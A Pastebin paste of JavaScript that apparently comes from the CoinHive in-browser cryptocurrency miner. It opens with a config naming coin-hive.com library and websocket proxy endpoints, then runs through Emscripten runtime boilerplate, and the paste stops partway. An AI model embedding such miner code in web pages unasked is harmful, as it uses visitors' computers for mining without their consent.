Advertisement
Guest User

Untitled

a guest
Sep 15th, 2017
1,851
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. self.CoinHive = self.CoinHive || {};
  2. self.CoinHive.CONFIG = {
  3.     LIB_URL: "https://coin-hive.com/lib/",
  4.     WEBSOCKET_URLS: ["wss://ws001.coin-hive.com/proxy", "wss://ws002.coin-hive.com/proxy", "wss://ws002.coin-hive.com/proxy", "wss://ws003.coin-hive.com/proxy", "wss://ws003.coin-hive.com/proxy", "wss://ws004.coin-hive.com/proxy", "wss://ws004.coin-hive.com/proxy", "wss://ws005.coin-hive.com/proxy", "wss://ws005.coin-hive.com/proxy"],
  5.     CAPTCHA_URL: "https://coin-hive.com/captcha/"
  6. };
  7. var Module = {
  8.     locateFile: (function(path) {
  9.         return CoinHive.CONFIG.LIB_URL + path
  10.     }
  11.     )
  12. };
  13. var Module;
  14. if (!Module)
  15.     Module = (typeof Module !== "undefined" ? Module : null) || {};
  16. var moduleOverrides = {};
  17. for (var key in Module) {
  18.     if (Module.hasOwnProperty(key)) {
  19.         moduleOverrides[key] = Module[key]
  20.     }
  21. }
  22. var ENVIRONMENT_IS_WEB = false;
  23. var ENVIRONMENT_IS_WORKER = false;
  24. var ENVIRONMENT_IS_NODE = false;
  25. var ENVIRONMENT_IS_SHELL = false;
  26. if (Module["ENVIRONMENT"]) {
  27.     if (Module["ENVIRONMENT"] === "WEB") {
  28.         ENVIRONMENT_IS_WEB = true
  29.     } else if (Module["ENVIRONMENT"] === "WORKER") {
  30.         ENVIRONMENT_IS_WORKER = true
  31.     } else if (Module["ENVIRONMENT"] === "NODE") {
  32.         ENVIRONMENT_IS_NODE = true
  33.     } else if (Module["ENVIRONMENT"] === "SHELL") {
  34.         ENVIRONMENT_IS_SHELL = true
  35.     } else {
  36.         throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")
  37.     }
  38. } else {
  39.     ENVIRONMENT_IS_WEB = typeof window === "object";
  40.     ENVIRONMENT_IS_WORKER = typeof importScripts === "function";
  41.     ENVIRONMENT_IS_NODE = typeof process === "object" && typeof require === "function" && !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER;
  42.     ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_NODE && !ENVIRONMENT_IS_WORKER
  43. }
  44. if (ENVIRONMENT_IS_NODE) {
  45.     if (!Module["print"])
  46.         Module["print"] = console.log;
  47.     if (!Module["printErr"])
  48.         Module["printErr"] = console.warn;
  49.     var nodeFS;
  50.     var nodePath;
  51.     Module["read"] = function shell_read(filename, binary) {
  52.         if (!nodeFS)
  53.             nodeFS = require("fs");
  54.         if (!nodePath)
  55.             nodePath = require("path");
  56.         filename = nodePath["normalize"](filename);
  57.         var ret = nodeFS["readFileSync"](filename);
  58.         return binary ? ret : ret.toString()
  59.     }
  60.     ;
  61.     Module["readBinary"] = function readBinary(filename) {
  62.         var ret = Module["read"](filename, true);
  63.         if (!ret.buffer) {
  64.             ret = new Uint8Array(ret)
  65.         }
  66.         assert(ret.buffer);
  67.         return ret
  68.     }
  69.     ;
  70.     Module["load"] = function load(f) {
  71.         globalEval(read(f))
  72.     }
  73.     ;
  74.     if (!Module["thisProgram"]) {
  75.         if (process["argv"].length > 1) {
  76.             Module["thisProgram"] = process["argv"][1].replace(/\\/g, "/")
  77.         } else {
  78.             Module["thisProgram"] = "unknown-program"
  79.         }
  80.     }
  81.     Module["arguments"] = process["argv"].slice(2);
  82.     if (typeof module !== "undefined") {
  83.         module["exports"] = Module
  84.     }
  85.     process["on"]("uncaughtException", (function(ex) {
  86.         if (!(ex instanceof ExitStatus)) {
  87.             throw ex
  88.         }
  89.     }
  90.     ));
  91.     Module["inspect"] = (function() {
  92.         return "[Emscripten Module object]"
  93.     }
  94.     )
  95. } else if (ENVIRONMENT_IS_SHELL) {
  96.     if (!Module["print"])
  97.         Module["print"] = print;
  98.     if (typeof printErr != "undefined")
  99.         Module["printErr"] = printErr;
  100.     if (typeof read != "undefined") {
  101.         Module["read"] = read
  102.     } else {
  103.         Module["read"] = function shell_read() {
  104.             throw "no read() available"
  105.         }
  106.     }
  107.     Module["readBinary"] = function readBinary(f) {
  108.         if (typeof readbuffer === "function") {
  109.             return new Uint8Array(readbuffer(f))
  110.         }
  111.         var data = read(f, "binary");
  112.         assert(typeof data === "object");
  113.         return data
  114.     }
  115.     ;
  116.     if (typeof scriptArgs != "undefined") {
  117.         Module["arguments"] = scriptArgs
  118.     } else if (typeof arguments != "undefined") {
  119.         Module["arguments"] = arguments
  120.     }
  121.     if (typeof quit === "function") {
  122.         Module["quit"] = (function(status, toThrow) {
  123.             quit(status)
  124.         }
  125.         )
  126.     }
  127. } else if (ENVIRONMENT_IS_WEB || ENVIRONMENT_IS_WORKER) {
  128.     Module["read"] = function shell_read(url) {
  129.         var xhr = new XMLHttpRequest;
  130.         xhr.open("GET", url, false);
  131.         xhr.send(null);
  132.         return xhr.responseText
  133.     }
  134.     ;
  135.     if (ENVIRONMENT_IS_WORKER) {
  136.         Module["readBinary"] = function readBinary(url) {
  137.             var xhr = new XMLHttpRequest;
  138.             xhr.open("GET", url, false);
  139.             xhr.responseType = "arraybuffer";
  140.             xhr.send(null);
  141.             return new Uint8Array(xhr.response)
  142.         }
  143.     }
  144.     Module["readAsync"] = function readAsync(url, onload, onerror) {
  145.         var xhr = new XMLHttpRequest;
  146.         xhr.open("GET", url, true);
  147.         xhr.responseType = "arraybuffer";
  148.         xhr.onload = function xhr_onload() {
  149.             if (xhr.status == 200 || xhr.status == 0 && xhr.response) {
  150.                 onload(xhr.response)
  151.             } else {
  152.                 onerror()
  153.             }
  154.         }
  155.         ;
  156.         xhr.onerror = onerror;
  157.         xhr.send(null)
  158.     }
  159.     ;
  160.     if (typeof arguments != "undefined") {
  161.         Module["arguments"] = arguments
  162.     }
  163.     if (typeof console !== "undefined") {
  164.         if (!Module["print"])
  165.             Module["print"] = function shell_print(x) {
  166.                 console.log(x)
  167.             }
  168.             ;
  169.         if (!Module["printErr"])
  170.             Module["printErr"] = function shell_printErr(x) {
  171.                 console.warn(x)
  172.             }
  173.     } else {
  174.         var TRY_USE_DUMP = false;
  175.         if (!Module["print"])
  176.             Module["print"] = TRY_USE_DUMP && typeof dump !== "undefined" ? (function(x) {
  177.                 dump(x)
  178.             }
  179.             ) : (function(x) {}
  180.             )
  181.     }
  182.     if (ENVIRONMENT_IS_WORKER) {
  183.         Module["load"] = importScripts
  184.     }
  185.     if (typeof Module["setWindowTitle"] === "undefined") {
  186.         Module["setWindowTitle"] = (function(title) {
  187.             document.title = title
  188.         }
  189.         )
  190.     }
  191. } else {
  192.     throw "Unknown runtime environment. Where are we?"
  193. }
  194. function globalEval(x) {
  195.     eval.call(null, x)
  196. }
  197. if (!Module["load"] && Module["read"]) {
  198.     Module["load"] = function load(f) {
  199.         globalEval(Module["read"](f))
  200.     }
  201. }
  202. if (!Module["print"]) {
  203.     Module["print"] = (function() {}
  204.     )
  205. }
  206. if (!Module["printErr"]) {
  207.     Module["printErr"] = Module["print"]
  208. }
  209. if (!Module["arguments"]) {
  210.     Module["arguments"] = []
  211. }
  212. if (!Module["thisProgram"]) {
  213.     Module["thisProgram"] = "./this.program"
  214. }
  215. if (!Module["quit"]) {
  216.     Module["quit"] = (function(status, toThrow) {
  217.         throw toThrow
  218.     }
  219.     )
  220. }
  221. Module.print = Module["print"];
  222. Module.printErr = Module["printErr"];
  223. Module["preRun"] = [];
  224. Module["postRun"] = [];
  225. for (var key in moduleOverrides) {
  226.     if (moduleOverrides.hasOwnProperty(key)) {
  227.         Module[key] = moduleOverrides[key]
  228.     }
  229. }
  230. moduleOverrides = undefined;
  231. var Runtime = {
  232.     setTempRet0: (function(value) {
  233.         tempRet0 = value;
  234.         return value
  235.     }
  236.     ),
  237.     getTempRet0: (function() {
  238.         return tempRet0
  239.     }
  240.     ),
  241.     stackSave: (function() {
  242.         return STACKTOP
  243.     }
  244.     ),
  245.     stackRestore: (function(stackTop) {
  246.         STACKTOP = stackTop
  247.     }
  248.     ),
  249.     getNativeTypeSize: (function(type) {
  250.         switch (type) {
  251.         case "i1":
  252.         case "i8":
  253.             return 1;
  254.         case "i16":
  255.             return 2;
  256.         case "i32":
  257.             return 4;
  258.         case "i64":
  259.             return 8;
  260.         case "float":
  261.             return 4;
  262.         case "double":
  263.             return 8;
  264.         default:
  265.             {
  266.                 if (type[type.length - 1] === "*") {
  267.                     return Runtime.QUANTUM_SIZE
  268.                 } else if (type[0] === "i") {
  269.                     var bits = parseInt(type.substr(1));
  270.                     assert(bits % 8 === 0);
  271.                     return bits / 8
  272.                 } else {
  273.                     return 0
  274.                 }
  275.             }
  276.         }
  277.     }
  278.     ),
  279.     getNativeFieldSize: (function(type) {
  280.         return Math.max(Runtime.getNativeTypeSize(type), Runtime.QUANTUM_SIZE)
  281.     }
  282.     ),
  283.     STACK_ALIGN: 16,
  284.     prepVararg: (function(ptr, type) {
  285.         if (type === "double" || type === "i64") {
  286.             if (ptr & 7) {
  287.                 assert((ptr & 7) === 4);
  288.                 ptr += 4
  289.             }
  290.         } else {
  291.             assert((ptr & 3) === 0)
  292.         }
  293.         return ptr
  294.     }
  295.     ),
  296.     getAlignSize: (function(type, size, vararg) {
  297.         if (!vararg && (type == "i64" || type == "double"))
  298.             return 8;
  299.         if (!type)
  300.             return Math.min(size, 8);
  301.         return Math.min(size || (type ? Runtime.getNativeFieldSize(type) : 0), Runtime.QUANTUM_SIZE)
  302.     }
  303.     ),
  304.     dynCall: (function(sig, ptr, args) {
  305.         if (args && args.length) {
  306.             return Module["dynCall_" + sig].apply(null, [ptr].concat(args))
  307.         } else {
  308.             return Module["dynCall_" + sig].call(null, ptr)
  309.         }
  310.     }
  311.     ),
  312.     functionPointers: [],
  313.     addFunction: (function(func) {
  314.         for (var i = 0; i < Runtime.functionPointers.length; i++) {
  315.             if (!Runtime.functionPointers[i]) {
  316.                 Runtime.functionPointers[i] = func;
  317.                 return 2 * (1 + i)
  318.             }
  319.         }
  320.         throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."
  321.     }
  322.     ),
  323.     removeFunction: (function(index) {
  324.         Runtime.functionPointers[(index - 2) / 2] = null
  325.     }
  326.     ),
  327.     warnOnce: (function(text) {
  328.         if (!Runtime.warnOnce.shown)
  329.             Runtime.warnOnce.shown = {};
  330.         if (!Runtime.warnOnce.shown[text]) {
  331.             Runtime.warnOnce.shown[text] = 1;
  332.             Module.printErr(text)
  333.         }
  334.     }
  335.     ),
  336.     funcWrappers: {},
  337.     getFuncWrapper: (function(func, sig) {
  338.         assert(sig);
  339.         if (!Runtime.funcWrappers[sig]) {
  340.             Runtime.funcWrappers[sig] = {}
  341.         }
  342.         var sigCache = Runtime.funcWrappers[sig];
  343.         if (!sigCache[func]) {
  344.             if (sig.length === 1) {
  345.                 sigCache[func] = function dynCall_wrapper() {
  346.                     return Runtime.dynCall(sig, func)
  347.                 }
  348.             } else if (sig.length === 2) {
  349.                 sigCache[func] = function dynCall_wrapper(arg) {
  350.                     return Runtime.dynCall(sig, func, [arg])
  351.                 }
  352.             } else {
  353.                 sigCache[func] = function dynCall_wrapper() {
  354.                     return Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments))
  355.                 }
  356.             }
  357.         }
  358.         return sigCache[func]
  359.     }
  360.     ),
  361.     getCompilerSetting: (function(name) {
  362.         throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"
  363.     }
  364.     ),
  365.     stackAlloc: (function(size) {
  366.         var ret = STACKTOP;
  367.         STACKTOP = STACKTOP + size | 0;
  368.         STACKTOP = STACKTOP + 15 & -16;
  369.         return ret
  370.     }
  371.     ),
  372.     staticAlloc: (function(size) {
  373.         var ret = STATICTOP;
  374.         STATICTOP = STATICTOP + size | 0;
  375.         STATICTOP = STATICTOP + 15 & -16;
  376.         return ret
  377.     }
  378.     ),
  379.     dynamicAlloc: (function(size) {
  380.         var ret = HEAP32[DYNAMICTOP_PTR >> 2];
  381.         var end = (ret + size + 15 | 0) & -16;
  382.         HEAP32[DYNAMICTOP_PTR >> 2] = end;
  383.         if (end >= TOTAL_MEMORY) {
  384.             var success = enlargeMemory();
  385.             if (!success) {
  386.                 HEAP32[DYNAMICTOP_PTR >> 2] = ret;
  387.                 return 0
  388.             }
  389.         }
  390.         return ret
  391.     }
  392.     ),
  393.     alignMemory: (function(size, quantum) {
  394.         var ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16);
  395.         return ret
  396.     }
  397.     ),
  398.     makeBigInt: (function(low, high, unsigned) {
  399.         var ret = unsigned ? +(low >>> 0) + +(high >>> 0) * 4294967296 : +(low >>> 0) + +(high | 0) * 4294967296;
  400.         return ret
  401.     }
  402.     ),
  403.     GLOBAL_BASE: 1024,
  404.     QUANTUM_SIZE: 4,
  405.     __dummy__: 0
  406. };
  407. Module["Runtime"] = Runtime;
  408. var ABORT = 0;
  409. var EXITSTATUS = 0;
  410. function assert(condition, text) {
  411.     if (!condition) {
  412.         abort("Assertion failed: " + text)
  413.     }
  414. }
  415. function getCFunc(ident) {
  416.     var func = Module["_" + ident];
  417.     if (!func) {
  418.         try {
  419.             func = eval("_" + ident)
  420.         } catch (e) {}
  421.     }
  422.     assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)");
  423.     return func
  424. }
  425. var cwrap, ccall;
  426. ((function() {
  427.     var JSfuncs = {
  428.         "stackSave": (function() {
  429.             Runtime.stackSave()
  430.         }
  431.         ),
  432.         "stackRestore": (function() {
  433.             Runtime.stackRestore()
  434.         }
  435.         ),
  436.         "arrayToC": (function(arr) {
  437.             var ret = Runtime.stackAlloc(arr.length);
  438.             writeArrayToMemory(arr, ret);
  439.             return ret
  440.         }
  441.         ),
  442.         "stringToC": (function(str) {
  443.             var ret = 0;
  444.             if (str !== null && str !== undefined && str !== 0) {
  445.                 var len = (str.length << 2) + 1;
  446.                 ret = Runtime.stackAlloc(len);
  447.                 stringToUTF8(str, ret, len)
  448.             }
  449.             return ret
  450.         }
  451.         )
  452.     };
  453.     var toC = {
  454.         "string": JSfuncs["stringToC"],
  455.         "array": JSfuncs["arrayToC"]
  456.     };
  457.     ccall = function ccallFunc(ident, returnType, argTypes, args, opts) {
  458.         var func = getCFunc(ident);
  459.         var cArgs = [];
  460.         var stack = 0;
  461.         if (args) {
  462.             for (var i = 0; i < args.length; i++) {
  463.                 var converter = toC[argTypes[i]];
  464.                 if (converter) {
  465.                     if (stack === 0)
  466.                         stack = Runtime.stackSave();
  467.                     cArgs[i] = converter(args[i])
  468.                 } else {
  469.                     cArgs[i] = args[i]
  470.                 }
  471.             }
  472.         }
  473.         var ret = func.apply(null, cArgs);
  474.         if (returnType === "string")
  475.             ret = Pointer_stringify(ret);
  476.         if (stack !== 0) {
  477.             if (opts && opts.async) {
  478.                 EmterpreterAsync.asyncFinalizers.push((function() {
  479.                     Runtime.stackRestore(stack)
  480.                 }
  481.                 ));
  482.                 return
  483.             }
  484.             Runtime.stackRestore(stack)
  485.         }
  486.         return ret
  487.     }
  488.     ;
  489.     var sourceRegex = /^function\s*[a-zA-Z$_0-9]*\s*\(([^)]*)\)\s*{\s*([^*]*?)[\s;]*(?:return\s*(.*?)[;\s]*)?}$/;
  490.     function parseJSFunc(jsfunc) {
  491.         var parsed = jsfunc.toString().match(sourceRegex).slice(1);
  492.         return {
  493.             arguments: parsed[0],
  494.             body: parsed[1],
  495.             returnValue: parsed[2]
  496.         }
  497.     }
  498.     var JSsource = null;
  499.     function ensureJSsource() {
  500.         if (!JSsource) {
  501.             JSsource = {};
  502.             for (var fun in JSfuncs) {
  503.                 if (JSfuncs.hasOwnProperty(fun)) {
  504.                     JSsource[fun] = parseJSFunc(JSfuncs[fun])
  505.                 }
  506.             }
  507.         }
  508.     }
  509.     cwrap = function cwrap(ident, returnType, argTypes) {
  510.         argTypes = argTypes || [];
  511.         var cfunc = getCFunc(ident);
  512.         var numericArgs = argTypes.every((function(type) {
  513.             return type === "number"
  514.         }
  515.         ));
  516.         var numericRet = returnType !== "string";
  517.         if (numericRet && numericArgs) {
  518.             return cfunc
  519.         }
  520.         var argNames = argTypes.map((function(x, i) {
  521.             return "$" + i
  522.         }
  523.         ));
  524.         var funcstr = "(function(" + argNames.join(",") + ") {";
  525.         var nargs = argTypes.length;
  526.         if (!numericArgs) {
  527.             ensureJSsource();
  528.             funcstr += "var stack = " + JSsource["stackSave"].body + ";";
  529.             for (var i = 0; i < nargs; i++) {
  530.                 var arg = argNames[i]
  531.                   , type = argTypes[i];
  532.                 if (type === "number")
  533.                     continue;
  534.                 var convertCode = JSsource[type + "ToC"];
  535.                 funcstr += "var " + convertCode.arguments + " = " + arg + ";";
  536.                 funcstr += convertCode.body + ";";
  537.                 funcstr += arg + "=(" + convertCode.returnValue + ");"
  538.             }
  539.         }
  540.         var cfuncname = parseJSFunc((function() {
  541.             return cfunc
  542.         }
  543.         )).returnValue;
  544.         funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");";
  545.         if (!numericRet) {
  546.             var strgfy = parseJSFunc((function() {
  547.                 return Pointer_stringify
  548.             }
  549.             )).returnValue;
  550.             funcstr += "ret = " + strgfy + "(ret);"
  551.         }
  552.         if (!numericArgs) {
  553.             ensureJSsource();
  554.             funcstr += JSsource["stackRestore"].body.replace("()", "(stack)") + ";"
  555.         }
  556.         funcstr += "return ret})";
  557.         return eval(funcstr)
  558.     }
  559. }
  560. ))();
  561. Module["ccall"] = ccall;
  562. Module["cwrap"] = cwrap;
  563. function setValue(ptr, value, type, noSafe) {
  564.     type = type || "i8";
  565.     if (type.charAt(type.length - 1) === "*")
  566.         type = "i32";
  567.     switch (type) {
  568.     case "i1":
  569.         HEAP8[ptr >> 0] = value;
  570.         break;
  571.     case "i8":
  572.         HEAP8[ptr >> 0] = value;
  573.         break;
  574.     case "i16":
  575.         HEAP16[ptr >> 1] = value;
  576.         break;
  577.     case "i32":
  578.         HEAP32[ptr >> 2] = value;
  579.         break;
  580.     case "i64":
  581.         tempI64 = [value >>> 0, (tempDouble = value,
  582.         +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)],
  583.         HEAP32[ptr >> 2] = tempI64[0],
  584.         HEAP32[ptr + 4 >> 2] = tempI64[1];
  585.         break;
  586.     case "float":
  587.         HEAPF32[ptr >> 2] = value;
  588.         break;
  589.     case "double":
  590.         HEAPF64[ptr >> 3] = value;
  591.         break;
  592.     default:
  593.         abort("invalid type for setValue: " + type)
  594.     }
  595. }
  596. Module["setValue"] = setValue;
  597. function getValue(ptr, type, noSafe) {
  598.     type = type || "i8";
  599.     if (type.charAt(type.length - 1) === "*")
  600.         type = "i32";
  601.     switch (type) {
  602.     case "i1":
  603.         return HEAP8[ptr >> 0];
  604.     case "i8":
  605.         return HEAP8[ptr >> 0];
  606.     case "i16":
  607.         return HEAP16[ptr >> 1];
  608.     case "i32":
  609.         return HEAP32[ptr >> 2];
  610.     case "i64":
  611.         return HEAP32[ptr >> 2];
  612.     case "float":
  613.         return HEAPF32[ptr >> 2];
  614.     case "double":
  615.         return HEAPF64[ptr >> 3];
  616.     default:
  617.         abort("invalid type for setValue: " + type)
  618.     }
  619.     return null
  620. }
  621. Module["getValue"] = getValue;
  622. var ALLOC_NORMAL = 0;
  623. var ALLOC_STACK = 1;
  624. var ALLOC_STATIC = 2;
  625. var ALLOC_DYNAMIC = 3;
  626. var ALLOC_NONE = 4;
  627. Module["ALLOC_NORMAL"] = ALLOC_NORMAL;
  628. Module["ALLOC_STACK"] = ALLOC_STACK;
  629. Module["ALLOC_STATIC"] = ALLOC_STATIC;
  630. Module["ALLOC_DYNAMIC"] = ALLOC_DYNAMIC;
  631. Module["ALLOC_NONE"] = ALLOC_NONE;
  632. function allocate(slab, types, allocator, ptr) {
  633.     var zeroinit, size;
  634.     if (typeof slab === "number") {
  635.         zeroinit = true;
  636.         size = slab
  637.     } else {
  638.         zeroinit = false;
  639.         size = slab.length
  640.     }
  641.     var singleType = typeof types === "string" ? types : null;
  642.     var ret;
  643.     if (allocator == ALLOC_NONE) {
  644.         ret = ptr
  645.     } else {
  646.         ret = [typeof _malloc === "function" ? _malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ? ALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length))
  647.     }
  648.     if (zeroinit) {
  649.         var ptr = ret, stop;
  650.         assert((ret & 3) == 0);
  651.         stop = ret + (size & ~3);
  652.         for (; ptr < stop; ptr += 4) {
  653.             HEAP32[ptr >> 2] = 0
  654.         }
  655.         stop = ret + size;
  656.         while (ptr < stop) {
  657.             HEAP8[ptr++ >> 0] = 0
  658.         }
  659.         return ret
  660.     }
  661.     if (singleType === "i8") {
  662.         if (slab.subarray || slab.slice) {
  663.             HEAPU8.set(slab, ret)
  664.         } else {
  665.             HEAPU8.set(new Uint8Array(slab), ret)
  666.         }
  667.         return ret
  668.     }
  669.     var i = 0, type, typeSize, previousType;
  670.     while (i < size) {
  671.         var curr = slab[i];
  672.         if (typeof curr === "function") {
  673.             curr = Runtime.getFunctionIndex(curr)
  674.         }
  675.         type = singleType || types[i];
  676.         if (type === 0) {
  677.             i++;
  678.             continue
  679.         }
  680.         if (type == "i64")
  681.             type = "i32";
  682.         setValue(ret + i, curr, type);
  683.         if (previousType !== type) {
  684.             typeSize = Runtime.getNativeTypeSize(type);
  685.             previousType = type
  686.         }
  687.         i += typeSize
  688.     }
  689.     return ret
  690. }
  691. Module["allocate"] = allocate;
  692. function getMemory(size) {
  693.     if (!staticSealed)
  694.         return Runtime.staticAlloc(size);
  695.     if (!runtimeInitialized)
  696.         return Runtime.dynamicAlloc(size);
  697.     return _malloc(size)
  698. }
  699. Module["getMemory"] = getMemory;
  700. function Pointer_stringify(ptr, length) {
  701.     if (length === 0 || !ptr)
  702.         return "";
  703.     var hasUtf = 0;
  704.     var t;
  705.     var i = 0;
  706.     while (1) {
  707.         t = HEAPU8[ptr + i >> 0];
  708.         hasUtf |= t;
  709.         if (t == 0 && !length)
  710.             break;
  711.         i++;
  712.         if (length && i == length)
  713.             break
  714.     }
  715.     if (!length)
  716.         length = i;
  717.     var ret = "";
  718.     if (hasUtf < 128) {
  719.         var MAX_CHUNK = 1024;
  720.         var curr;
  721.         while (length > 0) {
  722.             curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr, ptr + Math.min(length, MAX_CHUNK)));
  723.             ret = ret ? ret + curr : curr;
  724.             ptr += MAX_CHUNK;
  725.             length -= MAX_CHUNK
  726.         }
  727.         return ret
  728.     }
  729.     return Module["UTF8ToString"](ptr)
  730. }
  731. Module["Pointer_stringify"] = Pointer_stringify;
  732. function AsciiToString(ptr) {
  733.     var str = "";
  734.     while (1) {
  735.         var ch = HEAP8[ptr++ >> 0];
  736.         if (!ch)
  737.             return str;
  738.         str += String.fromCharCode(ch)
  739.     }
  740. }
  741. Module["AsciiToString"] = AsciiToString;
  742. function stringToAscii(str, outPtr) {
  743.     return writeAsciiToMemory(str, outPtr, false)
  744. }
  745. Module["stringToAscii"] = stringToAscii;
  746. var UTF8Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf8") : undefined;
  747. function UTF8ArrayToString(u8Array, idx) {
  748.     var endPtr = idx;
  749.     while (u8Array[endPtr])
  750.         ++endPtr;
  751.     if (endPtr - idx > 16 && u8Array.subarray && UTF8Decoder) {
  752.         return UTF8Decoder.decode(u8Array.subarray(idx, endPtr))
  753.     } else {
  754.         var u0, u1, u2, u3, u4, u5;
  755.         var str = "";
  756.         while (1) {
  757.             u0 = u8Array[idx++];
  758.             if (!u0)
  759.                 return str;
  760.             if (!(u0 & 128)) {
  761.                 str += String.fromCharCode(u0);
  762.                 continue
  763.             }
  764.             u1 = u8Array[idx++] & 63;
  765.             if ((u0 & 224) == 192) {
  766.                 str += String.fromCharCode((u0 & 31) << 6 | u1);
  767.                 continue
  768.             }
  769.             u2 = u8Array[idx++] & 63;
  770.             if ((u0 & 240) == 224) {
  771.                 u0 = (u0 & 15) << 12 | u1 << 6 | u2
  772.             } else {
  773.                 u3 = u8Array[idx++] & 63;
  774.                 if ((u0 & 248) == 240) {
  775.                     u0 = (u0 & 7) << 18 | u1 << 12 | u2 << 6 | u3
  776.                 } else {
  777.                     u4 = u8Array[idx++] & 63;
  778.                     if ((u0 & 252) == 248) {
  779.                         u0 = (u0 & 3) << 24 | u1 << 18 | u2 << 12 | u3 << 6 | u4
  780.                     } else {
  781.                         u5 = u8Array[idx++] & 63;
  782.                         u0 = (u0 & 1) << 30 | u1 << 24 | u2 << 18 | u3 << 12 | u4 << 6 | u5
  783.                     }
  784.                 }
  785.             }
  786.             if (u0 < 65536) {
  787.                 str += String.fromCharCode(u0)
  788.             } else {
  789.                 var ch = u0 - 65536;
  790.                 str += String.fromCharCode(55296 | ch >> 10, 56320 | ch & 1023)
  791.             }
  792.         }
  793.     }
  794. }
  795. Module["UTF8ArrayToString"] = UTF8ArrayToString;
  796. function UTF8ToString(ptr) {
  797.     return UTF8ArrayToString(HEAPU8, ptr)
  798. }
  799. Module["UTF8ToString"] = UTF8ToString;
  800. function stringToUTF8Array(str, outU8Array, outIdx, maxBytesToWrite) {
  801.     if (!(maxBytesToWrite > 0))
  802.         return 0;
  803.     var startIdx = outIdx;
  804.     var endIdx = outIdx + maxBytesToWrite - 1;
  805.     for (var i = 0; i < str.length; ++i) {
  806.         var u = str.charCodeAt(i);
  807.         if (u >= 55296 && u <= 57343)
  808.             u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  809.         if (u <= 127) {
  810.             if (outIdx >= endIdx)
  811.                 break;
  812.             outU8Array[outIdx++] = u
  813.         } else if (u <= 2047) {
  814.             if (outIdx + 1 >= endIdx)
  815.                 break;
  816.             outU8Array[outIdx++] = 192 | u >> 6;
  817.             outU8Array[outIdx++] = 128 | u & 63
  818.         } else if (u <= 65535) {
  819.             if (outIdx + 2 >= endIdx)
  820.                 break;
  821.             outU8Array[outIdx++] = 224 | u >> 12;
  822.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  823.             outU8Array[outIdx++] = 128 | u & 63
  824.         } else if (u <= 2097151) {
  825.             if (outIdx + 3 >= endIdx)
  826.                 break;
  827.             outU8Array[outIdx++] = 240 | u >> 18;
  828.             outU8Array[outIdx++] = 128 | u >> 12 & 63;
  829.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  830.             outU8Array[outIdx++] = 128 | u & 63
  831.         } else if (u <= 67108863) {
  832.             if (outIdx + 4 >= endIdx)
  833.                 break;
  834.             outU8Array[outIdx++] = 248 | u >> 24;
  835.             outU8Array[outIdx++] = 128 | u >> 18 & 63;
  836.             outU8Array[outIdx++] = 128 | u >> 12 & 63;
  837.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  838.             outU8Array[outIdx++] = 128 | u & 63
  839.         } else {
  840.             if (outIdx + 5 >= endIdx)
  841.                 break;
  842.             outU8Array[outIdx++] = 252 | u >> 30;
  843.             outU8Array[outIdx++] = 128 | u >> 24 & 63;
  844.             outU8Array[outIdx++] = 128 | u >> 18 & 63;
  845.             outU8Array[outIdx++] = 128 | u >> 12 & 63;
  846.             outU8Array[outIdx++] = 128 | u >> 6 & 63;
  847.             outU8Array[outIdx++] = 128 | u & 63
  848.         }
  849.     }
  850.     outU8Array[outIdx] = 0;
  851.     return outIdx - startIdx
  852. }
  853. Module["stringToUTF8Array"] = stringToUTF8Array;
  854. function stringToUTF8(str, outPtr, maxBytesToWrite) {
  855.     return stringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite)
  856. }
  857. Module["stringToUTF8"] = stringToUTF8;
  858. function lengthBytesUTF8(str) {
  859.     var len = 0;
  860.     for (var i = 0; i < str.length; ++i) {
  861.         var u = str.charCodeAt(i);
  862.         if (u >= 55296 && u <= 57343)
  863.             u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  864.         if (u <= 127) {
  865.             ++len
  866.         } else if (u <= 2047) {
  867.             len += 2
  868.         } else if (u <= 65535) {
  869.             len += 3
  870.         } else if (u <= 2097151) {
  871.             len += 4
  872.         } else if (u <= 67108863) {
  873.             len += 5
  874.         } else {
  875.             len += 6
  876.         }
  877.     }
  878.     return len
  879. }
  880. Module["lengthBytesUTF8"] = lengthBytesUTF8;
  881. var UTF16Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf-16le") : undefined;
  882. function demangle(func) {
  883.     var __cxa_demangle_func = Module["___cxa_demangle"] || Module["__cxa_demangle"];
  884.     if (__cxa_demangle_func) {
  885.         try {
  886.             var s = func.substr(1);
  887.             var len = lengthBytesUTF8(s) + 1;
  888.             var buf = _malloc(len);
  889.             stringToUTF8(s, buf, len);
  890.             var status = _malloc(4);
  891.             var ret = __cxa_demangle_func(buf, 0, 0, status);
  892.             if (getValue(status, "i32") === 0 && ret) {
  893.                 return Pointer_stringify(ret)
  894.             }
  895.         } catch (e) {} finally {
  896.             if (buf)
  897.                 _free(buf);
  898.             if (status)
  899.                 _free(status);
  900.             if (ret)
  901.                 _free(ret)
  902.         }
  903.         return func
  904.     }
  905.     Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling");
  906.     return func
  907. }
